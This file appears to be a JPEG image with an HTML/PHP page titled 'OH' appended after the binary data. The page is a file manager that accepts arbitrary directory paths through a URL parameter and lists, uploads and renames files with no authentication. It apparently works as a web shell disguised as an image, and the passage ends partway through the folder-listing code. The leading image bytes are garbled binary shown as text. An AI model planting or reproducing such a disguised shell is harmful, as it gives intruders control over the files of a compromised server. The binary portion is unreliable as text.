JFIF $ d d 7 * Z qn )ZP 0 !1 A "#a$2Qr D8 a Ri [f \m I ykI w0 c u F c Rı?lO7 к _f˓ [C $殷WF< _W ԣ s Kc ëI zyQy /_LK ℂ ;C",p F A : /] =H ~ , l s / 9 ć: [=/#f ; ) x { ٛE Q )~ = 𘙲r*2~ a _V = ' ku m F D } KYYC )( { * g& f `툪 r y ` = ^ c J. I ]( * `wq 1dđ #̩ ͑ 0 ; H ] u 搂 @:~ ו K L N s h } O I R* 8 :2 ! lD JV o ( 3 = M ( z Ȱ+i *N A r6K n S l ) ! J J Ӂ* % ݉?|D } d5: eP0 R; {$X' x F @ .ÊB {,WJ uQ ɲRI ;9 Q E琯 6 2fT .DU J ;*c P A\IL Nj! J ۱+ O\ ͔ ] ޒ S J ȧ c%A N ol ՎprU L Zԛe r E2= X D Xg VQeӓ k y P7 U* o m Q I s ,K `) 6\G3t?pgjr m ۛجw luGt f h 9uyP 0D;Uڽ"OXl i f $ ) &|ML 0 Z rm1 [ H XP l P R0 'G=i 2N +0 e 2 ]] 9 VT P O 7 h(F * 癈 ' = Q VZD F,d ߬ ~ T X G[ `le 69C R(!S2! P < 0 x < !1AQ "Raq 02Br #S CTb ? Ζ "]mH5WR 7 k.ۛ ! } Q~ + yԏ z |@ T20 S~ K e k *zF f^2X *( @ 8 r ? C I uI|֓>^Ex LgNU Y+{.R Ѫ τV YT D I 6 2 '8Y2 7'\T P.6 d &˦ @V q i |8 -O Ε ] ʔ U= T L 8= ;6c | !qfF3 a ů& ~$ l} 'NW U s$U k^S V : U#6w + +s &r+n ڐ { @ 29gL u " T Ù M=6 (^ "7 r}=6Yݾ lC u hquymp Ǧ G jhs ǜNl ɻ} o 7 #S6 a w 4 ! OS r D 5 7 % | ?x> L | / nD 6?/8 w # [ ) L 7 +6〼T A T g ! %5 Mm Z /c -{1_Je "| ^$ 'O & ޱմ < H vNqϡQ$ < 6 &Nݛ ֨tǻN (9 n ru~'όN sMG& ,uH Kw *Ī 5@ u6 BԒ i YN * f 0 _ GhKW u lT <nj- 0{ M L~ | /a v\ E = ?1 \ɟuq Ђ Y O a K ޡP q $ H8o Q˼EV ~ k 0 h' L Pp M -M" m^ !6l nմ 쮝C U T . ! :vMǨb h ډ Vc r @~p # !1QAa q ? AL0L x LU 4 d ; x " 16ad0 7.\ߋ 0 = P l v/ " c A Ay A|2pO8"d MV #1] = \ " ˡ ] k v I9 d ۓ & q ) ǐq E ꞅ v "P )q X &Q З non]я u ג./ ; gZ$ M QР 2M ]h ni 0 P $ێ 3CɏGjώy : m c # S_ l@ '_ \m|C 2`K _ 1 cIvGc $? PCQ S+D ? K aײ k Fr b 8 ύ NEدg ĝ U 3 6 #Ik+ v { v i ( ވ ? a e) X xy/*@Q Ǽ Ծ ) $ IWO l c G; !i k{ gOŀ L ('x T rb $ w) R $ & N1E td U3Uȉ1p M"N* (DNy d96.(jQ) X 5 c QɎMy W ? Q *!R > 6=7)Xj 5`J ] e 8%t ! + ' ! 1Q 5 !1 AQaq ё #2 "0BRb ? G t^ ## .l lQ T $ v , ,m 㵜5u bV =sY+ @d { N ! dn O < .- B; _w J t 6;Q Jd. Q c%p{ 1 ,sND dF H I0 Гo X ш e黅X ۢ F :)[ F G X ƹ / w _c MeD ,ʡc c . W D tA $ j@ : ) - #u c1< @ۗ9F ) KJ- hpP] _ x [ q B lb p ʖ w q " LFGd ƶ * s +ډ_Zc " ? % t[I P 6 J ]# =ɺ V v v CGs Gh1 > )6 |e y ? L ӣ m,4 G W Ui ` ] uJVo VDG< SB 6ϏQ @ TiU l y O U 0 kfV ~ ~}S Z @ *WU Ui ## ; s /[ = ! 7}" W N ] ' (L ! ~ y5 g9T̅J kbM' +s :S +B) v @ M j e C f j E 0 Y\Qn z G 1 д~ W o{T 9?` Rm yhsy3 !HAD ] m c1 ~ 2 L S u7x T ;j$ `} 4-> L# vzŏ I L S ֭ T { r jGK C ; b pU= - ` Bs K. S F w4 M q] Z dH S 0 ) tLg
����âJFIF�âââ�`�`�����;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 85
���C�â…âƒâ„â„â„âƒâ…â„â„â„â…â…â…â†â‡âŒâˆâ‡â‡â‡â‡ââ‹â‹ âŒâ‘ââ’â’â‘ââ‘â‘â“â–âœâ—â“â”âšâ•â‘â‘â˜!â˜âšâââŸâŸâŸâ“â—"$"âž$âœâžâŸâžï¿½ï¿½ï¿½Cââ…â…â…â‡â†â‡âŽâˆâˆâŽâžâ”â‘â”âžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžâžï¿½ï¿½ï¿½â‘âˆâhâhâƒâ"�â‚â‘ââƒâ‘â���âŸï¿½ï¿½ââ…ââââââ��������ââ‚âƒâ„â…â†â‡âˆ
â‹ï¿½ï¿½ï¿½ï¿½â�â‚ââƒâƒâ‚â„âƒâ…â…â„â„��â}ââ‚âƒï¿½â„â‘â…â’!1Aâ†â“Qaâ‡"qâ”2���âˆ#B��â•R��$3br�
â–â—â˜â™âš%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������âŸâ�âƒâââââââââ������ââ‚âƒâ„â…â†â‡âˆ
â‹ï¿½ï¿½ï¿½ï¿½â‘�â‚ââ‚â„â„âƒâ„â‡â…â„â„�ââ‚w�ââ‚âƒâ‘â„â…!1â†â’AQâ‡aqâ“"2�âˆâ”B���� #3R�â•br�
â–$4�%�â—â˜â™âš&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������âŒâƒâ�â‚â‘âƒâ‘�?��.�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�+�QI�3Lâ…��(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���@y��-âŸï¿½#â’â†y��â‚��âŽï¿½IÞšX��â�P2�$���âƒè¢Šï¿½(���(���(���(���(���(���(���(���(���(���(���(���(���(���3FE �a�â���(�dâŽâ˜ï¿½N^â…M���4â“�G�Ó��Mo���O��â�â™ï¿½â•â˜$ds�sYz��4]4â¡ï¿½ï¿½ï¿½â‘��+��HâMâ„���9Õ¾2�#OL�@ÜŸH��
O����@}�L���YWâŸï¿½ââ—â“=�p�3�! 7'���Z����&;â"� zâ™â•��×���g�|Iâ“�jâšï¿½ï¿½ï¿½~Dâ��Ƕrâ¡^�2��â•s�ââ˜ï¿½I🆒T��S�(2���?��âŸï¿½y}��âŸâ—x��âŸï¿½ï¿½mâ�ux�#��s�ھ[Cqg0â–mâ’�râ’\�â¡
Òĺ�ҋ{��d^�ââ•�Rrr��#mO��â™Å¬]\�>��uK�c���âq�*?ɯL���<zW�>â”ñ†¥¥ï¿½Ç¶ï¿½ï¿½[â—Ćâ���l��O����â�b[�â–�ââŸ2�â�â¡ï¿½+��'c9Yl{I`:�R�
f�ڽ��â–�;�g��8�j�c��}�Z��C�)ʑ�âšX�匌âŸJ@:�(�PâŒï¿½Hz�h@�#֌��<�aâ”âœï¿½N>�6Y��â“$Í´ �-Ú›hJ�ۆq�i7��s��^{�|c�âžï¿½)�]z�y�âÛ¿P+�𗈬�Ma��H�â‘âŸï¿½_â™?��Lf�Gâœï¿½ï¿½ï¿½ï¿½/����U��(��
(��
(��
(��
(��
(��
(��
(��"iX1?.�ቨ�.a�?6Iâ‚"|�O�+��<.2����â���H�]��aiz�hV�3�G�8���v|�tâ‡"��.R�âžc�â¡ï¿½R�7�t+d�(������E���~0
z��â¡â•�D�$r2�ۜ~���oC����+Qsvx��~�%�8 �~��_|@�N�â–Õ¯âš81�\â¡ï¿½gNM�I�#�â¡â–x��Þâ›ï¿½âšï¿½ï¿½ï¿½ï¿½ï¿½Æ ���W�����
�C�i��d�â¡ï¿½ï¿½ï¿½lu;��$��1�G�5��xh\NM�#�oâ™ï¿½L��Z��v6u��âž+�fd��$H�â›bâƒâŸï¿½aKi���ܻ�Nâƒ?â¡Ê¥ï¿½t�âžï¿½â•�0F۟��+g�
â…�]���Q��+��r{8"�2��âž8<c5�â”bc/]��â¡*�oâ•i+��âˆï¿½ï¿½ÛŒï¿½W~â¡â’?�U�<Zâ•IJƻâ™ï¿½â‚â¡
M�>S�4�.ofX�ɑ�â‡ï¿½ï¿½ï¿½âš|֗�â’â‡ï¿½ï¿½ï¿½xâžï¿½ï¿½âŸâ�&�s_�Мp{�W.�14��h�âŽ~RME�;X�V�X�`q���֡���â™|�â†â—�â•�:���֢oB�1�f�S����<��uâœÒ°;�/�i7:|H&E2J�âƒï¿½g���U�m���v��âJ��_�âƒPuyR=��â–'�Y:��â’�T2yâŽï¿½ï¿½'�*Ô¬.[�!m����e�m�}Òâ¡Z�_âˆï¿½p�����]â›ï¿½â‚��9�â•=���eZ5<�â¡ï¿½Ô¾#�â•��D��0�}�âˆï¿½ï¿½ï¿½W)�~â‹ï¿½ï¿½ï¿½ï¿½ï¿½H|G�<â’��kn� �������â‹ï¿½ï¿½ï¿½ï¿½&���(�1��A�Ǹ���M�Dz�H�����â��â„i�ZQâ’#�J���Y��ӌ��~����â |��|â—�O��â’�>B�P_����â�âŒWI�~Ô¾<0â•��4%a�r�����UΉ�>��c��y���~1�â—�âŽb�5����â”â‡w��|I�ϊâž1�ٯ��4D`Aâ˜â›ï¿½ï¿½y�{�-+N��
�S�kڲ�V�CXR��)����M�^â“Ñ ï¿½ï¿½ï¿½ï¿½ï¿½S��c��^3�ââ‘�âž!�
�}b}VBÙŽ'�â��9�ִ�/âj~!�]/D�Y_âŸï¿½'�׿�}â‹ï¿½â“���U�âšï¿½Q��DRBͲ>GL�s���SnJ�Q(�âœW����â—��C�x���`rb�F����â‘��
}G��:~��çiv��Z�1âœQ�
=�V��&,gߥIâŸï¿½â™â„}kds�ѻ4R�VâEâ”PâEâ”PâEâ”PâEâ”PâEâ”PâEâ”PâH)I����1@âŒï¿½(;�â•=7âJkâ•O�8â‡ï¿½j���_ ٛ�Vr�\�Q�0��"�=����_���Z;â›-8â‘�*ᛯ�â�[âƒï¿½â¡iâŸï¿½ï¿½noâ‹ï¿½ZU��>�#/����9�]��xâ����0]�>���3u&��%���S�9/Pâ„Q���VÒ�tIb�xP���â—==*9
<�I�,�â‚�w�p<âŒï¿½ï¿½Û½âš}!<�0��<�s��Oâ™ï¿½>�j��PX�7���u�â‚Mr���3�<`�âZ\��gâ�:^�q�VâŒ\���W������K��âŸg�â•â.잹ȩ�â•Z]�]�<�nJâ˜ï¿½â¡ï¿½}+v-"�L��xP1s�}?È¥r�9MS@���-â• h�dâ“�5���â‹â¡i�E�âƒkg��ڵ1q4��$âƒï¿½]���oh�â“â”�~H�â•
jU�d6�`� j��Z�|Aâa1mR1��,홾f.â‡M�z0â„<âdâ*�â‹ï¿½2D���^â�mâ‘DR��5[�â™ï¿½6fA�=jV�m�%%â�&��ܣâœ
â‘â˜Lg�-���/���Q^k�U�.����!S����/�+�Tä�wâ„��F���Ka6zS���~\�f��N�y1n�W�7��â™<i;â•
gjG⟠l~��C���~,�eÙ†mn@â¡ï¿½1��{�p=�ڄ8â‘�������â�qÚ·4�
�jâ¡ï¿½id�â‘���ֺx[â„���r1�âŸï¿½O���p�Tâ—$��5e�âŽï¿½%�D���s^��â�âƒï¿½ï¿½3�âŸï¿½Q���Pâ•eVQ���֧�q9��[�â…��FÛ�3��֮3��â��âˆï¿½kϽ}C�ââ‹ß¥ï¿½ï¿½ï¿½ac��r~��֦âž[�mF��\�'�$ruF�88'���'âƒX{Ç‘j6p;�ââ�T0�"/ï¿½Ó ï¿½ï¿½\�Au�â�0H���fD��2�6��X��EÖµ6�â•�����
��.�â�â‘�_q|)��#�6nl���f�â¡ï¿½ï¿½ï¿½8��W��âƒï¿½E�hâ��u����C����O=FU[�{�*�
��â†ï¿½)-âŽJ����+s0��(���(���(���(���(���
�â”RRs�âœRn�8�FâJ�?��â”��â‚[â•gâ“�âŽâ†ï¿½ï¿½:��J��â§ï¿½ï¿½ï¿½ï¿½Ù¼ï¿½ï¿½ÑŒã¯¸ï¿½â¡ï¿½~ x��4� ~Kt�+��x��âšï¿½ï¿½ï¿½ï¿½ï¿½ï¿½r�â…âƒâkоâŸï¿½B�N�_3â3t9�V��|â›â†ï¿½nâŒï¿½î“©ï¿½ï¿½ï¿½]n�ʷâžBFâ‹7@;�+6�jxR�O�H�l���d��4����9_aRM�k�â—�7W�q���â¡Ëµmk0�]â„���\�dâ�5<̾RƩ�ì�z8��- âŸ(âŸï¿½d�2'�,
����l09��
â’;��â’�â—$â����â„1����Թ6>[â™Pi�â•�۬h���=�V��'O2V�â™K0������T��I�`z'_ÖšC�H�/�â‘â…G�Էâ…���â•4�V�����â‚�5,â‹up��쇖?夿w�5jâ„9]����A��â˜Pn��<����:�c��s[Vâžâ—���5��7����]v��Al�*��բ��pÖ–Z�� âœP�âu���{â¡âˆï¿½ï¿½_N�âžï¿½ï¿½ï¿½ï¿½]�6�@È«â˜â˜ï¿½ï¿½aâœÕ���@6���s��âX��+�W�1�q@�tâ”XâŒé´«â™ï¿½ï¿½`I8�âœï¿½h�3�D��� G��â¡ï¿½m�
vC�â’ċ�i�â—Ò�zR�zP!�â—Ò”`pâ…:�Pâƒ
�}��>5|4��VâƒR��!�-�â‘�ä’�I��â“�,Oâ˜9â•�8�(â‡=�eâ•"��|âƒï¿½ï¿½Û¦ï¿½uâ˜âžï¿½ï¿½Kâ‹ï¿½*pâl��?�����B�
����kâŸâ˜@u=$â‹Mz%â›%S��r~S��s�W��۴�ͧ�1â˜ï¿½ï¿½;Lg�9�9�qw:)Ծ��~Çž+��|7s�]Mâœï¿½d���9)�â¡V5�"��â™ï¿½Ú¾;��/��?�p���MLâ‚�G��N=���ҾÈ�â‚67c<t��_ �U��(��3
(��
(��
(��
(��
(��
â”�â†FI#â”��âžï¿½ï¿½â›>&X�âŸL1#�}0â…â—â™ï¿½çž¾ï¿½o�â—�};��^ï¿½ï¿½Ì yJâ†}}ǡ�����Ǿ%â—���â›ï¿½ï¿½!<â„�âz��b��f���E�e��}�I�]�â‡ï¿½ï¿½Ö½â‹N��zZ�-�T0�I����Wiie�h�R�in�âŸï¿½âš-�âl����P��N׉b��g��f�I���ìh% �$�L��âŒv�ˆ��*n.â˜Kr{wa��ҷ�����R�<Lr�:����k�5�n��:Ô¥âŸ|�����m���o
ï¿½âšÆ±-܋��)����]5��c��B�]�u�s��âŒÐ¢ï¿½ï¿½8����c�âŸï¿½ï¿½â—���Gâ�â��kQ=
w,âƒï¿½#
ÏŒâ��k-�;�â„^�ҥâGgâ™ï¿½ï¿½m��J��âŽï¿½ï¿½ï¿½ï¿½ï¿½m!�{â˜3�c��� ���n6!J�MCź^�)��_�\�@����+c�#`Ĉ#=��߮j
â‹á”¶ï¿½ï¿½/2�>nGâŸï¿½zâ�<+â¡d�6�3G��<�âŸï¿½M4��ҼâŸâ…�����'��
�m4��â™âˆH��Ǫ��âžï¿½ï¿½ï¿½ï¿½Õ…â˜ï¿½â‘$q�����pxZZ)�gÚŠ(�â‚�(�â‚�(�â‚�(�â‚�(�â‚�(�â†ï¿½ �W�|s�Z|ak���â‘m�Dâ‚�â‡ï¿½â—�:âžrâ¡J��EL�r��~wkM����CX��
���â›â��_v�4�E��|!e�â‹u�.W%1�âŽzu?θߎâŸâ‹b�%�#��QB�#â’â–A��pN9��^7�8��R�â¡ï¿½â‹ï¿½â…��á��D�dA&â—Ó¶â��J:h9>c�t`âˆl�ÒQ+9�erGn�"�â”�0=*�â–�(�â‚�(�â‚�(�â‚�(�â‚�(�â†ï¿½<py�+â‡ï¿½^(�#��oU�c���q�âŸA[3Kâœ1�#���?�|��â‚���âŸï¿½ï¿½â“B_M���Uo��ny<�1�BW&N��â‹ï¿½Kâ�ֵXâ•�â¡ï¿½ï¿½4�â�\�s^���â‡jQ�4Ó¤M�ب��9�O �i~â—â…M�����â¡ï¿½8��â[��âžï¿½$�a��7 烚%e�1��;�����z7�aâ�X��âŽï¿½yâ˜?�E�â›Ñ§ï¿½Y���â‘�â•��n��*G�1�â‡#9â˜ï¿½U�j:�z���ċâ™ï¿½ï¿½s\âƒE�5��d������/S.�8�m��9&�:!O���â’?â”�ڤ�Ii`â†"���ݺ��zUχ�
[)R�S��.OA�ҽ"â›Eh
�J�[���âšKâ4@#Wâ›ØœâYÙ³U5â‘â’f�âš<�7CIwv�tJ
î¾Tâ��âšï¿½ï¿½â›v�-�~e�â¡ï¿½3�5��â‹ï¿½%â—w���âœï¿½Ò¶ï¿½9�l��߇o5)��Kâžï¿½ââ•�v�âœâ‘lDڧ�âžï¿½n��â˜ï¿½bpÇ ï¿½ï¿½ï¿½ï¿½z��â’�dP�ch�â‡aRmâ˜ï¿½ï¿½ï¿½K�h�� â˜ï¿½ï¿½ï¿½`â”QE�â”QE�â”QE�â”QE�â”QE�â”QE�â”QE�â„P(��âšï¿½â™ï¿½y�sâž:�â‡ï¿½ï¿½kâ’��t���.�f' rq���h�`3|=�������w=Èv�&��3�p�� 00(��â…â”Q@â…â”Q@â…â”Q@â…â”Q@âˆï¿½âœï¿½ï¿½M
��W�V��漫����oâ„�/âŒR�Pâ™F3�y�"���~ÑŸâ’�L^â�����Lu_���ڣ�k�â‡Ó´8�â–#â™Û’���y��+M*�>&�4�u+��`=câœp�âžï¿½ï¿½ï¿½ï¿½oÅj���:-�p�wp~���Q*�%*nH�/â“�=�6�a#4��׎��cÚ�w��yCâ�޾��W��â¡â‡ï¿½ï¿½})��â‡ï¿½ï¿½â•��ǚ�EâšE�Q4�w��â‡_J��ȨÔ��jf�5�>�<�QLÕ¡k�F��âŸ0$Û�i��Qi�<Qܩ���ߣ{qR�\^j�F
"â–PFâŒï¿½ï¿½c��wЧRƼ����}�7r#^����n�����Z[vo���â†ï¿½âŸ>��Ϟ[<�âœt����(câ‹âž~��mâ˜ï¿½1��â–��K#�S��Iâ”ââ�1S��@�âŒï¿½ï¿½Z@5F)�â‘E0
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
)â›8;q�z��j6�:s�â—3yv�
��ӥ�b|J��â¡
Íj'*�"â����㔃T�y�â‹Ä—c�^lb=$<rx��w�]�����â“O��[��â™ï¿½?g��Nâ„���?�=�J��âŸâ��QK�-âœGn��âžvp��q��â’��+��|Ku�k��/4E��5��6�o#����k��v�.���Z�U�jÐ3Q#�G���Ìo�=�uÈ´Y4�âƒ_�6�<��#��+���]f7��O�Zâ˜ï¿½^��<�âŸ9鎃ڹ��w:â”��z���F�;K�R%â¡ï¿½âƒï¿½Ï¿ï¿½ï¿½ï¿½b?�N���~T��7�8â˜ï¿½mp��:v����âŒâ‡_�q���k��g�����j2��D|�Ǔ�ڵP!���|'����^k[R 2��~X��s��޽SC�âšu��$âˆï¿½ï¿½,�âŒaâ†ï¿½ï¿½ï¿½\câœV�X͑�â”j0�Ԙâ‚�â‚�SâQEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�Râ’â�-DYD���âœï¿½ï¿½ye����/x��◌��tâ—e�-q%��pâœï¿½ï¿½âŒï¿½ï¿½ÚºßŽ>7�âšï¿½â�
NâŽï¿½4a�.âˆï¿½ï¿½R�#âƒï¿½!{â‘�\ts���'á³£xjâ‘âŒa�o%��Tâ��9�ڔ�����4|Q��w�Z|Z20�k���G�>��xâ™ï¿½O�^;�]�o..�t�n7��h�â™ï¿½ï¿½ï¿½ï¿½Ö†ï¿½ï¿½[\��y5��/glKv:��xâžï¿½ï¿½u�â¡ï¿½ï¿½ï¿½^)�â™ï¿½ï¿½âƒï¿½-��_ÛL��w����O�Y5y`�����â†6��gҴ�/�ɬ��i��[X��~77O��_ x>}NU��â����â•=?�=����6;XDaâ‚�+XSH�R���l�AâŒQ��<7Öº8�@�â‘�Ԋ�zS�A7qâ•B�
Z(�AEâ”PâEâ”PâEâ”PâEâ”PâEâ”PâEâ”PâEâ”PâEâ”PâEâ”PâEâ”PâEâ”PâEâ”PâEâ”PâEâ”PâEâ”PâEâ”PâEâ”Pâ^W���Z�#GkM-<�n�G�âˆï¿½B�?;�âŽß—âœd�J�~,x�F�O�n|K�[4�
��â�s��âœï¿½sI�â�ƃ�Y�%�]���~{_K6�â‘���d�`Wâ™e�^�Z��âšï¿½ï¿½ï¿½. �â„+��!�g={����âž$�|â¡=���Zâ›v��â„,\âž:����]Ç�â›uqn��âŸï¿½[?
!?�o�Qï¿½Ë‘Í ï¿½ï¿½7C�LwfâˆbYoGââ܋��?�^��_â…5�[��âžï¿½ï¿½râ¡ï¿½Âº/
�n�I�8 �â‚â�9��[��"Sâœy\��â•>]âŒeR�H-#��#0'�������TH���âƒâ‚�(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(��â“����^�c��e��fâ„��â’����â›ï¿½ï¿½6�b8�8�l���râ›ï¿½1Ú€<���â‹ï¿½ï¿½â¡&[�^d�B��â�â>��ץYY�h�#��0�âƒï¿½ï¿½âJpP
��c4�âŒï¿½ï¿½â”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”�QEâ”â��<!
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>OH</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>
<body>
<?php
//function
function formatSizeUnits($bytes)
{
if ($bytes >= 1073741824) {
$bytes = number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
$bytes = number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
$bytes = number_format($bytes / 1024, 2) . ' KB';
} elseif ($bytes > 1) {
$bytes = $bytes . ' bytes';
} elseif ($bytes == 1) {
$bytes = $bytes . ' byte';
} else {
$bytes = '0 bytes';
}
return $bytes;
}
function fileExtension($file)
{
return substr(strrchr($file, '.'), 1);
}
function fileIcon($file)
{
$imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
$audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
$ext = strtolower(fileExtension($file));
if ($file == "error_log") {
return '<i class="fa-sharp fa-solid fa-bug"></i> ';
} elseif ($file == ".htaccess") {
return '<i class="fa-solid fa-hammer"></i> ';
}
if ($ext == "html" || $ext == "htm") {
return '<i class="fa-brands fa-html5"></i> ';
} elseif ($ext == "php" || $ext == "phtml") {
return '<i class="fa-brands fa-php"></i> ';
} elseif (in_array($ext, $imgs)) {
return '<i class="fa-regular fa-images"></i> ';
} elseif ($ext == "css") {
return '<i class="fa-brands fa-css3"></i> ';
} elseif ($ext == "txt") {
return '<i class="fa-regular fa-file-lines"></i> ';
} elseif (in_array($ext, $audio)) {
return '<i class="fa-duotone fa-file-music"></i> ';
} elseif ($ext == "py") {
return '<i class="fa-brands fa-python"></i> ';
} elseif ($ext == "js") {
return '<i class="fa-brands fa-js"></i> ';
} else {
return '<i class="fa-solid fa-file"></i> ';
}
}
function encodePath($path)
{
$a = array("/", "\\", ".", ":");
$b = array("ক", "খ", "গ", "ঘ");
return str_replace($a, $b, $path);
}
function decodePath($path)
{
$a = array("/", "\\", ".", ":");
$b = array("ক", "খ", "গ", "ঘ");
return str_replace($b, $a, $path);
}
$root_path = __DIR__;
if (isset($_GET['p'])) {
if (empty($_GET['p'])) {
$p = $root_path;
} elseif (!is_dir(decodePath($_GET['p']))) {
echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
} elseif (is_dir(decodePath($_GET['p']))) {
$p = decodePath($_GET['p']);
}
} elseif (isset($_GET['q'])) {
if (!is_dir(decodePath($_GET['q']))) {
echo ("<script>window.location.replace('?p=');</script>");
} elseif (is_dir(decodePath($_GET['q']))) {
$p = decodePath($_GET['q']);
}
} else {
$p = $root_path;
}
define("PATH", $p);
echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
<div class="navbar-brand">
<a href="?"><img src="https://raw.githubusercontent.com/hurairathexper/elepfilemanager/main/img/icon.png" width="30" height="30" alt=""></a>
');
$path = str_replace('\\', '/', PATH);
$paths = explode('/', $path);
foreach ($paths as $id => $dir_part) {
if ($dir_part == '' && $id == 0) {
$a = true;
echo "<a href=\"?p=/\">/</a>";
continue;
}
if ($dir_part == '')
continue;
echo "<a href='?p=";
for ($i = 0; $i <= $id; $i++) {
echo str_replace(":", "ঘ", $paths[$i]);
if ($i != $id)
echo "ক";
}
echo "'>" . $dir_part . "</a>/";
}
echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">Upload File</button></a>
<a href="?"><button type="button" class="btn btn-dark">HOME</button></a>
</div>
</nav>');
if (isset($_GET['p'])) {
//fetch files
if (is_readable(PATH)) {
$fetch_obj = scandir(PATH);
$folders = array();
$files = array();
foreach ($fetch_obj as $obj) {
if ($obj == '.' || $obj == '..') {
continue;
}
$new_obj = PATH . '/' . $obj;
if (is_dir($new_obj)) {
array_push($folders, $obj);
} elseif (is_file($new_obj)) {
array_push($files, $obj);
}
}
}
echo '
<table class="table table-hover">
<thead>
<tr>
<th scope="col">Name</th>
<th scope="col">Size</th>
<th scope="col">Modified</th>
<th scope="col">Perms</th>
<th scope="col">Actions</th>
</tr>
</thead>
<tbody>
';
foreach ($folders as $folder) {
echo " <tr>
<td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
<td><b>---</b></td>
<td>". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . "</td>
<td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
<td>
<a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
